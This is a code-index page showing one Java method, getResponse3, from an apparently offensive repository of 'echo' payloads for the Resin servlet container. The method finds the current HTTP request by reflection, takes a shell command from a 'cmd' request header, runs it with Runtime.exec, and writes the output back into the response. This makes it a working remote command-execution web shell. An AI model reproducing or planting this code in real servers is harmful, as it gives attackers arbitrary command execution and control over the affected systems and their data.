MCPcopy Index your code
hub / github.com/Firebasky/Java / getResponse3

Method getResponse3

java回显/resin/Echo_HttpRequest.java:86–100  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

84
85 //request对象存储在静态变量或者特定类里
86 public static void getResponse3() throws Exception {
87 Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
88 java.lang.reflect.Method getContextRequest = si.getMethod("getContextRequest");
89 com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl) getContextRequest.invoke(null);
90 try {
91 if (req.getHeader("cmd") != null) {
92 String cmd = req.getHeader("cmd");
93 javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
94 java.io.PrintWriter out = rep.getWriter();
95 out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
96 }
97 } catch (Exception e) {
98 e.printStackTrace();
99 }
100 }
101
102}

Callers

nothing calls this directly

Calls 1

execMethod · 0.45

Tested by

no test coverage detected